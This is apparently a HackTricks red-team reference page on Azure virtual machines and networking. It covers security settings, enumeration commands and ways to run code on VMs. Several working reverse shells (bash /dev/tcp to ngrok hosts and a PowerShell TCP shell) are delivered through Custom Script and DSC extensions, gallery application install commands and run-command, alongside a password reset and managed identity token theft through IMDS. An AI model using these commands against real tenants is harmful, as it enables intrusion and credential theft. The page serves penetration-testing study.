Az - Virtual Machines & Network
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Azure Networking Basic Info
Azure networks contains different entities and ways to configure it. You can find a brief descriptions, examples and enumeration commands of the different Azure network entities in:
VMs Basic information
Azure Virtual Machines (VMs) are flexible, on-demand cloud-based servers that let you run Windows or Linux operating systems. They allow you to deploy applications and workloads without managing physical hardware. Azure VMs can be configured with various CPU, memory, and storage options to meet specific needs and integrate with Azure services like virtual networks, storage, and security tools.
Security Configurations
- Availability Zones: Availability zones are distinct groups of datacenters within a specific Azure region which are physically separated to minimize the risk of multiple zones being affected by local outages or disasters.
- Security Type:
- Standard Security: This is the default security type that does not require any specific configuration.
- Trusted Launch: This security type enhances protection against boot kits and kernel-level malware by using Secure Boot and Virtual Trusted Platform Module (vTPM).
- Confidential VMs: On top of a trusted launch, it offers hardware-based isolation between the VM, hypervisor and host management, improves the disk encryption and more.
- Authentication: By default a new SSH key is generated, although it’s possible to use a public key or use a previous key and the username by default is azureuser. It’s also possible to configure to use a password.
- VM disk encryption: The disk is encrypted at rest by default using a platform managed key.
- It’s also possible to enable Encryption at host, where the data will be encrypted in the host before sending it to the storage service, ensuring an end-to-end encryption between the host and the storage service (docs).
- NIC network security group:
- None: Básicamente abre todos los puertos
- Basic: Permite abrir fácilmente los puertos de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
- Advanced: Selecciona un grupo de seguridad
- Backup: It’s possible to enable Standard backup (one a day) and Enhanced (multiple per day)
- Patch orchestration options: This enable to automatically apply patches in the VMs according to the selected policy as described in the docs.
- Alerts: It’s possible to automatically get alerts by email or mobile app when something happen in the VM. Default rules:
- Percentage CPU is greater than 80%
- Available Memory Bytes is less than 1GB
- Data Disks IOPS Consumed Percentage is greater than 95%
- OS IOPS Consumed Percentage is greater than 95%
- Network in Total is greater than 500GB
- Network Out Total is greater than 200GB
- VmAvailabilityMetric is less than 1
- Heath monitor: By default check protocol HTTP in port 80
- Locks: It allows to lock a VM so it can only be read (ReadOnly lock) or it can be read and updated but not deleted (CanNotDelete lock).
- Most VM related resources also support locks like disks, snapshots…
- Locks can also be applied at resource group and subscription levels
Disks & snapshots
- It’s possible to enable to attach a disk to 2 or more VMs
- By default every disk is encrypted with a platform key.
- Same in snapshots
- By default it’s possible to share the disk from all networks, but it can also be restricted to only certain private access or to completely disable public and private access.
- Same in snapshots
- It’s possible to generate a SAS URI (of max 60days) to export the disk, which can be configured to require authentication or not
- Same in snapshots
# List all disks
az disk list --output table
# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>
Imágenes, Gallery Images y Restore points
Una VM image es una plantilla que contiene el sistema operativo, la configuración de la aplicación y el filesystem necesarios para crear una nueva virtual machine (VM). La diferencia entre una image y un disk snapshot es que un disk snapshot es una copia de solo lectura, en un punto en el tiempo, de un único managed disk, usada principalmente para backup o troubleshooting, mientras que una image puede contener multiple disks y está diseñada para servir como plantilla para crear nuevas VMs.
Las images pueden gestionarse en la Images section de Azure o dentro de Azure compute galleries, lo que permite generar versions y share la image cross-tenant o incluso hacerla pública.
Un restore point almacena la configuración de la VM y point-in-time application-consistent snapshots de todos los managed disks adjuntos a la VM. Está relacionado con la VM y su propósito es poder restaurar esa VM al estado en que estaba en ese punto específico.
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shaerd with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
Azure Site Recovery
From the docs: Site Recovery ayuda a garantizar la continuidad del negocio manteniendo las aplicaciones empresariales y las cargas de trabajo en ejecución durante interrupciones. Site Recovery replicates workloads que se ejecutan en máquinas físicas y virtuales (VMs) desde un sitio primario a una ubicación secundaria. Cuando ocurre una interrupción en tu sitio primario, haces fail over a una ubicación secundaria y accedes a las apps desde allí. Después de que la ubicación primaria vuelva a funcionar, puedes hacer fail back a ella.
Azure Bastion
Azure Bastion permite acceso seguro y fluido de Remote Desktop Protocol (RDP) y Secure Shell (SSH) a tus máquinas virtuales (VMs) directamente a través de Azure Portal o mediante un jump box. Eliminando la necesidad de direcciones IP públicas en tus VMs.
Bastion despliega un subnet llamado AzureBastionSubnet con una máscara de red /26 en la VNet en la que necesita funcionar. Luego, permite conectarse a VMs internas a través del navegador usando RDP y SSH, evitando exponer los puertos de las VMs a Internet. También puede funcionar como un jump host.
Para listar todos los Azure Bastion Hosts en tu subscription y conectarte a VMs a través de ellos, puedes usar los siguientes comandos:
# List bastions
az network bastion list -o table
# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa
# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>
Metadata
El Azure Instance Metadata Service (IMDS) proporciona información sobre las instancias de máquinas virtuales en ejecución para ayudar con su administración y configuración. Ofrece detalles como el SKU, el almacenamiento, las configuraciones de red e información sobre próximos eventos de mantenimiento a través de una REST API disponible en la dirección IP no enrutable 169.254.169.254, accesible solo desde dentro de la VM. La comunicación entre la VM y IMDS permanece dentro del host, garantizando un acceso seguro. Al consultar IMDS, los clientes HTTP dentro de la VM deben omitir los web proxies para asegurar una comunicación correcta.
Además, para contactar con el metadata endpoint, la solicitud HTTP debe tener el encabezado Metadata: true y no debe tener el encabezado X-Forwarded-For.
Al solicitar un access token al metadata endpoint, por defecto el metadata service usará la system assigned managed identity para generar el token, si existe alguna system assigned managed identity. En caso de que solo haya ONE user assigned managed identity, esta se usará por defecto. Sin embargo, si no hay system assigned managed identity y hay multiple user assigned managed identities, entonces el metadata service devolverá un error indicando que hay múltiples managed identities y será necesario especificar cuál usar.
Consulta cómo enumerarlo en:
VM Enumeration
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>
## List all available VM images and get info about one
az vm image list --all --output table
# VM Extensions
## List all VM extensions
az vm extension image list --output table
## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>
## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>
# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>
## List all community galleries
az sig list-community --output table
## List galleries shared with me
az sig list-shared --location <location> --output table
## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
# Images
# List all managed images in your subscription
az image list --output table
# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
# Bastion
## list all bastions
az network bastion list -o table
# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
## List public IPs
az network public-ip list --output table
## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>
## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
# Misc
## List all virtual machine scale sets
az vmss list --output table
## List all availability sets
az vm availability-set list --output table
## List all load balancers
az network lb list --output table
## List all storage accounts
az storage account list --output table
## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
# List all available run commands for virtual machines
az vm run-command list --output table
Ejecución de código en VMs
VM Extensions
Azure VM extensions son pequeñas aplicaciones que proporcionan post-deployment configuration y tareas de automatización en Azure virtual machines (VMs).
Esto permitiría ejecutar código arbitrario dentro de VMs.
El permiso requerido es Microsoft.Compute/virtualMachines/extensions/write.
Es posible listar todas las extensiones disponibles con:
# It takes some mins to run
az vm extension image list --output table
# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table
Es posible ejecutar extensiones personalizadas que ejecutan código personalizado:
- Ejecutar una revers shell
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- Ejecutar un script ubicado en internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
Extensiones de VM relevantes
El permiso requerido sigue siendo Microsoft.Compute/virtualMachines/extensions/write.
Extensión VMAccess
Esta extensión permite modificar la contraseña (o crearla si no existe) de usuarios dentro de VMs Windows.
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)
Esta es una VM extension que pertenece a Microsoft y que usa PowerShell DSC para gestionar la configuración de Azure Windows VMs. Por lo tanto, puede usarse para ejecutar comandos arbitrarios en Windows VMs a través de esta extension:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker
Esta es una extensión de VM que permitiría ejecutar runbooks en VMs desde una automation account. Para más información, consulta el Automation Accounts service.
VM Applications
Estos son paquetes con todos los datos de la application y scripts de install y uninstall que pueden usarse para añadir y eliminar fácilmente applications en VMs.
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
Estos son los paths donde las applications se descargan dentro del file system:
- Linux:
/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version> - Windows:
C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>
Consulta cómo instalar nuevas applications en https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli
Caution
Es posible compartir aplicaciones individuales y galleries con otras subscriptions o tenants. Lo cual es muy interesante porque podría permitir que un attacker haga backdoor a una application y pivotee hacia otras subscriptions y tenants.
Pero no existe un “marketplace” para vm apps como sí lo hay para extensions.
Los permissions requeridos son:
Microsoft.Compute/galleries/applications/writeMicrosoft.Compute/galleries/applications/versions/writeMicrosoft.Compute/virtualMachines/writeMicrosoft.Network/networkInterfaces/join/actionMicrosoft.Compute/disks/write
Ejemplo de exploitation para ejecutar arbitrary commands:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Datos de usuario
Estos son datos persistentes que pueden recuperarse del endpoint de metadata en cualquier momento. Ten en cuenta que en Azure los datos de usuario son diferentes de AWS y GCP porque si colocas un script aquí no se ejecuta por defecto.
Datos personalizados
Es posible pasar algunos datos a la VM que se almacenarán en rutas esperadas:
- En Windows los datos personalizados se colocan en
%SYSTEMDRIVE%\AzureData\CustomData.bincomo un archivo binario y no se procesan. - En Linux se almacenaban en
/var/lib/waagent/ovf-env.xmly ahora se almacenan en/var/lib/waagent/CustomData/ovf-env.xml - Linux agent: No procesa los datos personalizados por defecto, se necesita una imagen personalizada con los datos habilitados
- cloud-init: Por defecto procesa los datos personalizados y estos datos pueden estar en varios formatos. Podría ejecutar un script fácilmente enviando solo el script en los datos personalizados.
- Probé que tanto Ubuntu como Debian ejecutan el script que pongas aquí.
- Tampoco es necesario habilitar user data para que esto se ejecute.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt
Ejecutar comando
Este es el mecanismo más básico que Azure proporciona para ejecutar comandos arbitrarios en VMs. El permiso necesario es Microsoft.Compute/virtualMachines/runCommand/action.
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Azure WireServer & GoalState
Las Azure VMs exponen internal platform endpoints que se usan para la configuración, la obtención de metadata y la gestión de identidad. Entender la diferencia entre ellos es crítico para enumeration, privilege escalation y post-exploitation.
Wire Server (Azure Fabric Endpoint)
El Azure WireServer es una IP interna de Azure (168.63.129.16) usada por la plataforma para comunicarse con la VM.
Es responsable de:
- Communication con el VM Agent
- Entregar:
- GoalState
- ExtensionsConfig
- Configuración interna de la VM (incluidas identidades)
- Servicios DHCP & DNS
- Health monitoring
GoalState & ExtensionsConfig
El GoalState representa la desired configuration de la VM tal como la define Azure. Puede incluir:
- Configuración de extensions
- Managed identities
- Estado de provisioning
- Instrucciones del Agent
El ExtensionsConfig contiene la configuración detallada de las VM extensions y puede incluir:
- User Assigned Managed Identities
- Ajustes de la extension
- Secrets (dependiendo de la extension)
Estos endpoints normalmente se acceden a través de:
curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate
Consideraciones de acceso
La IP de WireServer generalmente es accesible desde dentro de la VM a través del guest network stack. No está restringida solo al Azure VM Agent, Run Command o las VM extensions. Microsoft incluso documenta ejemplos de aprovisionamiento Linux sin agente donde scripts normales dentro de la VM consultan GoalState directamente desde 168.63.129.16.
Sin embargo, no todo proceso necesariamente obtendrá el mismo resultado práctico:
- Algunos endpoints requieren headers específicos de Azure, como
x-ms-version: 2012-11-30para GoalState. - Los controles locales del guest pueden bloquear o alterar el acceso, incluidas reglas del host firewall, proxies, rutas, network namespaces, containers o endpoint protection.
- Las VM extensions y Run Command suelen ejecutarse como
root/SYSTEMa través del VM Agent, por lo que pueden omitir restricciones locales del sistema operativo que afectan a un usuario interactivo. - Algunos datos son específicos del agent/extension y pueden depender del estado de aprovisionamiento de la VM, del agent instalado, de las extensions configuradas o de la configuración de managed identity.
Por lo tanto, si una request funciona desde Run Command pero falla desde SSH, la explicación habitual es una diferencia en el usuario del sistema operativo, el entorno, el routing, el proxy, el firewall o el namespace, no una regla general de Azure que diga que solo los contextos de ejecución del agent pueden acceder a 168.63.129.16.
En pruebas de laboratorio esta distinción fue visible: la ejecución en Linux/Windows VM Agent a través de Run Command o Custom Script extensions podía acceder a GoalState en 168.63.129.16, mientras que una sesión SSH normal en otra VM Linux todavía podía acceder a IMDS pero hacía timeout al consultar GoalState. Trata WireServer/GoalState como algo útil pero dependiente del entorno; no confíes en ello como la forma canónica de enumerar managed identities.
Acceso a Managed Identity desde dentro de la VM
La forma fiable de usar las managed identities de una VM es el IMDS managed identity endpoint en 169.254.169.254, no el XML de ExtensionsConfig de WireServer. Los scripts que solo buscan nodos UserAssignedIdentity en ExtensionsConfig no son fiables porque:
- La asignación de managed identity de la VM no está garantizada para representarse como nodos
UserAssignedIdentityen el XML de la extension. - No incluyen las system-assigned managed identities.
- Solo encuentran user-assigned identities si el GoalState/extension data actual expone por casualidad la forma XML esperada.
El modelo de seguridad documentado por Microsoft es que todo código que se ejecute en la VM puede solicitar tokens para las managed identities disponibles en esa VM. Esto se confirmó desde:
- Linux SSH como un usuario normal de la VM.
- Linux Run Command a través del VM Agent.
- Linux Custom Script extension a través del VM Agent.
- Windows Custom Script extension como
NT AUTHORITY\SYSTEM.
En todos esos contextos, IMDS podía generar tokens para Management, Microsoft Graph/Entra ID, Key Vault y Storage cuando la identity solicitada estaba disponible para la VM.
Hay dos problemas distintos que es fácil confundir:
- Obtener un token para una identity conocida: Si la identity está asignada a la VM, IMDS puede emitir tokens para distintos audiences como
https://management.azure.com/,https://graph.microsoft.com/,https://vault.azure.netyhttps://storage.azure.com/. Si existen varias user-assigned identities, solicita una específica conclient_id,object_idomsi_res_id. - Descubrir todas las identities adjuntas desde dentro de la VM: IMDS no ofrece un endpoint simple para “listar todas las identities”. Un método práctico es obtener un default Management token, leer el recurso de la VM a través de ARM e inspeccionar la propiedad
identity. Esto solo funciona si esa managed identity tiene permisos comoMicrosoft.Compute/virtualMachines/readsobre la VM. Si ARM devuelve403, el token puede seguir siendo válido y útil, pero no puede enumerar la lista completa de identities de la VM.
Si el descubrimiento vía ARM falla, aún puedes probar fuentes de WireServer/HostGAPlugin como GoalState y http://168.63.129.16:32526/vmSettings para buscar campos con aspecto de identity (clientId, IdentityClientId, msi_res_id, user-assigned identity resource IDs) y luego pedirle a IMDS tokens usando esos selectores. Esto es un fallback, no una garantía: esos endpoints dependen del contexto y pueden no exponer ningún selector de managed identity.
Los siguientes ejemplos primero solicitan un token. Luego intentan leer el recurso de la VM desde Azure Resource Manager e imprimir su propiedad identity. El segundo paso solo funciona si la managed identity tiene permisos como Microsoft.Compute/virtualMachines/read sobre la VM.
#!/usr/bin/env bash
set -euo pipefail
imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"
# Optional. Examples:
# export MSI_SELECTOR='client_id=<client-id>'
# export MSI_SELECTOR='object_id=<principal-id>'
# export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"
urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}
token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi
echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"
access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"
TOKEN="$access_token" python3 - <<'PY'
import base64, json, os
token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))
print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f" {key}: {claims[key]}")
PY
echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"
arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi
Escalada de privilegios
Az - Virtual Machines & Network Privesc
Acceso no autenticado
Post Exploitation
Az - VMs & Network Post Exploitation
Persistencia
Referencias
- https://learn.microsoft.com/en-us/azure/virtual-machines/overview
- https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/
- https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service
- https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
- https://learn.microsoft.com/en-us/azure/virtual-network/what-is-ip-address-168-63-129-16
- https://learn.microsoft.com/en-us/azure/virtual-machines/linux/no-agent
- https://learn.microsoft.com/en-us/azure/virtual-machines/run-command
- https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/agent-linux
- https://www.cybercx.com.au/blog/azure-ssrf-metadata/
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

